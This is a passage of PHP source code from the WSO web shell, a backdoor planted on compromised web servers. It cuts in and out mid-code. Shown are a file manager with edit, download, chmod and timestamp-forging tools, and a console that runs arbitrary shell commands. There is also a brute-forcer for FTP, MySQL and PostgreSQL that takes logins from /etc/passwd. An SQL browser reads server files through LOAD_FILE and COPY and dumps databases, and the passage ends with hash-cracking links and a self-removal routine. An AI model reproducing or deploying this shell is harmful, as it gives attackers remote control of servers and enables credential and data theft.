		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
			.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
		$l = $l?0:1;
	}
	echo "<tr><td colspan=7>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
    echo "<option value='tar'>Compress (tar.gz)</option>";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
        echo "<option value='paste'>Paste / Compress</option>";
    echo "</select>&nbsp;";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
        echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
	wsoFooter();
}

function actionStringTools() {
	if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
	if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
	if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
	if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
	$stringTools = array(
		'Base64 encode' => 'base64_encode',
		'Base64 decode' => 'base64_decode',
		'Url encode' => 'urlencode',
		'Url decode' => 'urldecode',
		'Full urlencode' => 'full_urlencode',
		'md5 hash' => 'md5',
		'sha1 hash' => 'sha1',
		'crypt' => 'crypt',
		'CRC32' => 'crc32',
		'ASCII to HEX' => 'ascii2hex',
		'HEX to ASCII' => 'hex2ascii',
		'HEX to DEC' => 'hexdec',
		'HEX to BIN' => 'hex2bin',
		'DEC to HEX' => 'dechex',
		'DEC to BIN' => 'decbin',
		'BIN to HEX' => 'binhex',
		'BIN to DEC' => 'bindec',
		'String to lower case' => 'strtolower',
		'String to upper case' => 'strtoupper',
		'Htmlspecialchars' => 'htmlspecialchars',
		'String length' => 'strlen',
	);
	if(isset($_POST['ajax'])) {
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		if(in_array($_POST['p1'], $stringTools))
			echo $_POST['p1']($_POST['p2']);
		$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
		echo strlen($temp), "\n", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	wsoHeader();
	echo '<h1>String conversions</h1><div class=content>';
	echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
	foreach($stringTools as $k => $v)
		echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
		echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
	if(!empty($_POST['p1'])) {
		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
	}
	echo"</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='>>'></td></tr>
			</table></form>";

	function wsoRecursiveGlob($path) {
		if(substr($path, -1) != '/')
			$path.='/';
		$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
		if(is_array($paths)&&@count($paths)) {
			foreach($paths as $item) {
				if(@is_dir($item)){
					if($path!=$item)
						wsoRecursiveGlob($item);
				} else {
					if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
						echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
				}
			}
		}
	}
	if(@$_POST['p3'])
		wsoRecursiveGlob($_POST['c']);
	echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method='post' target='_blank' name='hf'>
			<input type='text' name='hash' style='width:200px;'><br>
            <input type='hidden' name='act' value='find'/>
			<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
			<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
            <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
		</form></div>";
	wsoFooter();
}

function actionFilesTools() {
	if( isset($_POST['p1']) )
		$_POST['p1'] = urldecode($_POST['p1']);
	if(@$_POST['p2']=='download') {
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST['p1']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST['p1'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST['p2'] == 'mkfile' ) {
		if(!file_exists($_POST['p1'])) {
			$fp = @fopen($_POST['p1'], 'w');
			if($fp) {
				$_POST['p2'] = "edit";
				fclose($fp);
			}
		}
	}
	wsoHeader();
	echo '<h1>File tools</h1><div class=content>';
	if( !file_exists(@$_POST['p1']) ) {
		echo 'File not exists';
		wsoFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST['p1']));
	if(!$uid) {
		$uid['name'] = @fileowner($_POST['p1']);
		$gid['name'] = @filegroup($_POST['p1']);
	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
	echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
	if( empty($_POST['p2']) )
		$_POST['p2'] = 'view';
	if( is_file($_POST['p1']) )
		$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
	else
		$m = array('Chmod', 'Rename', 'Touch');
	foreach($m as $v)
		echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
	echo '<br><br>';
	switch($_POST['p2']) {
		case 'view':
			echo '<pre class=ml1>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</pre>';
			break;
		case 'highlight':
			if( @is_readable($_POST['p1']) ) {
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
				$code = @highlight_file($_POST['p1'],true);
				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
			}
			break;
		case 'chmod':
			if( !empty($_POST['p3']) ) {
				$perms = 0;
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
				if(!@chmod($_POST['p1'], $perms))
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				$time = @filemtime($_POST['p1']);
				$_POST['p3'] = substr($_POST['p3'],1);
				$fp = @fopen($_POST['p1'],"w");
				if($fp) {
					@fwrite($fp,$_POST['p3']);
					@fclose($fp);
					echo 'Saved!<br><script>p3_="";</script>';
					@touch($_POST['p1'],$time,$time);
				}
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</textarea><input type=submit value=">>"></form>';
			break;
		case 'hexdump':
			$c = @file_get_contents($_POST['p1']);
			$n = 0;
			$h = array('00000000<br>','','');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= ' '; break;
					case 9:  $h[2] .= ' '; break;
					case 10: $h[2] .= ' '; break;
					case 13: $h[2] .= ' '; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "\n";
				}
		 	}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
			break;
		case 'rename':
			if( !empty($_POST['p3']) ) {
				if(!@rename($_POST['p1'], $_POST['p3']))
					echo 'Can\'t rename!<br>';
				else
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
			break;
		case 'touch':
			if( !empty($_POST['p3']) ) {
				$time = strtotime($_POST['p3']);
				if($time) {
					if(!touch($_POST['p1'],$time,$time))
						echo 'Fail!';
					else
						echo 'Touched!';
				} else echo 'Bad time format!';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
			break;
	}
	echo '</div>';
	wsoFooter();
}

function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);

	if(isset($_POST['ajax'])) {
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		echo "d.cf.cmd.value='';\n";
		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS['cwd'] = @getcwd();
				echo "c_='".$GLOBALS['cwd']."';";
			}
		}
		echo "d.cf.output.value+='".$temp."';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "\n", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	wsoHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
	foreach($GLOBALS['aliases'] as $n => $v) {
		if($v == '') {
			echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
			continue;
		}
		echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
	}
	
	echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
	if(!empty($_POST['p1'])) {
		echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
	}
	echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
	echo '</form></div><script>d.cf.cmd.focus();</script>';
	wsoFooter();
}

function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
	die('bye!');
}

function actionSelfRemove() {

	if($_POST['p1'] == 'yes')
		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
			die('Shell has been removed');
		else
			echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        wsoHeader();
	echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
	wsoFooter();
}

function actionBruteforce() {
	wsoHeader();
	if( isset($_POST['proto']) ) {
		echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
		if( $_POST['proto'] == 'ftp' ) {
			function wsoBruteForce($ip,$port,$login,$pass) {
				$fp = @ftp_connect($ip, $port?$port:21);
				if(!$fp) return false;
				$res = @ftp_login($fp, $login, $pass);
				@ftp_close($fp);
				return $res;
			}
		} elseif( $_POST['proto'] == 'mysql' ) {
			function wsoBruteForce($ip,$port,$login,$pass) {
				$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
				@mysql_close($res);
				return $res;
			}
		} elseif( $_POST['proto'] == 'pgsql' ) {
			function wsoBruteForce($ip,$port,$login,$pass) {
				$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
				$res = @pg_connect($str);
				@pg_close($res);
				return $res;
			}
		}
		$success = 0;
		$attempts = 0;
		$server = explode(":", $_POST['server']);
		if($_POST['type'] == 1) {
			$temp = @file('/etc/passwd');
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = explode(":", $line);
					++$attempts;
					if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
						$success++;
						echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
					}
					if(@$_POST['reverse']) {
						$tmp = "";
						for($i=strlen($line[0])-1; $i>=0; --$i)
							$tmp .= $line[0][$i];
						++$attempts;
						if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
							$success++;
							echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
						}
					}
				}
		} elseif($_POST['type'] == 2) {
			$temp = @file($_POST['dict']);
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = trim($line);
					++$attempts;
					if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
						$success++;
						echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
					}
				}
		}
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
	}
	echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
		.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
		.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
		.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
		.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
		.'<span>Server:port</span></td>'
		.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
		.'<tr><td><span>Brute type</span></td>'
		.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
		.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
		.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
		.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
		.'<td><input type=text name=login value="root"></td></tr>'
		.'<tr><td><span>Dictionary</span></td>'
		.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
		.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
	echo '</div><br>';
	wsoFooter();
}

function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function DbClass($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case 'mysql':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case 'pgsql':
					$host = explode(':', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case 'mysql':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case 'mysql':
					return $this->res = @mysql_query($str);
					break;
				case 'pgsql':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case 'mysql':
					return @mysql_fetch_assoc($res);
					break;
				case 'pgsql':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case 'mysql':
                        return $this->query("SHOW databases");
				break;
				case 'pgsql':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case 'mysql':
					return $this->res = $this->query('SHOW TABLES');
				break;
				case 'pgsql':
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case 'mysql':
					return @mysql_error();
				break;
				case 'pgsql':
					return @pg_last_error();
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case 'mysql':
					if(function_exists('mysql_set_charset'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query('SET CHARSET '.$str);
					break;
				case 'pgsql':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case 'mysql':
					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
				break;
				case 'pgsql':
					$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
					$r=array();
					while($i=$this->fetch())
						$r[] = $i['file'];
					$this->query('drop table wso2');
					return array('file'=>implode("\n",$r));
				break;
			}
			return false;
		}
		function dump($table, $fp = false) {
			switch($this->type)	{
				case 'mysql':
					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
					$create = mysql_fetch_array($res);
					$sql = $create[1].";\n";
                    if($fp) fwrite($fp, $sql); else echo($sql);
					$this->query('SELECT * FROM `'.$table.'`');
                    $i = 0;
                    $head = true;
					while($item = $this->fetch()) {
                        $sql = '';
                        if($i % 1000 == 0) {
                            $head = true;
                            $sql = ";\n\n";
                        }

						$columns = array();
						foreach($item as $k=>$v) {
                            if($v === null)
                                $item[$k] = "NULL";
                            elseif(is_int($v))
                                $item[$k] = $v;
                            else
                                $item[$k] = "'".@mysql_real_escape_string($v)."'";
							$columns[] = "`".$k."`";
						}
                        if($head) {
                            $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
                            $head = false;
                        } else
                            $sql .= "\n\t,(".implode(", ", $item).')';
                        if($fp) fwrite($fp, $sql); else echo($sql);
                        $i++;
					}
                    if(!$head)
                        if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
				break;
				case 'pgsql':
					$this->query('SELECT * FROM '.$table);
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "'".addslashes($v)."'";
							$columns[] = $k;
						}
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST['type']);
	if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
		$db->selectdb($_POST['sql_base']);
        switch($_POST['charset']) {
            case "Windows-1251": $db->setCharset('cp1251'); break;
            case "UTF-8": $db->setCharset('utf8'); break;
            case "KOI8-R": $db->setCharset('koi8r'); break;
            case "KOI8-U": $db->setCharset('koi8u'); break;
            case "cp866": $db->setCharset('cp866'); break;
        }
        if(empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST['tbl'] as $v)
				$db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST['file'], 'w')) {
            foreach($_POST['tbl'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST['p2']);
        } else
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
	}
	wsoHeader();
	echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
	$tmp = "<input type=text name=sql_base value=''>";
	if(isset($_POST['sql_host'])){
		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
			switch($_POST['charset']) {
				case "Windows-1251": $db->setCharset('cp1251'); break;
				case "UTF-8": $db->setCharset('utf8'); break;
				case "KOI8-R": $db->setCharset('koi8r'); break;
				case "KOI8-U": $db->setCharset('koi8u'); break;
				case "cp866": $db->setCharset('cp866'); break;
			}
			$db->listDbs();
			echo "<select name=sql_base><option value=''></option>";
			while($item = $db->fetch()) {
				list($key, $value) = each($item);
				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
			}
			echo '</select>';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST['sql_base'])){
				$db->selectdb($_POST['sql_base']);
				echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($item = $db->fetch($tbls_res)) {
					list($key, $value) = each($item);
                    if(!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
					$value = htmlspecialchars($value);
					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
				}
				echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1'] == 'select') {
					$_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
					$num = $db->fetch();
					$pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
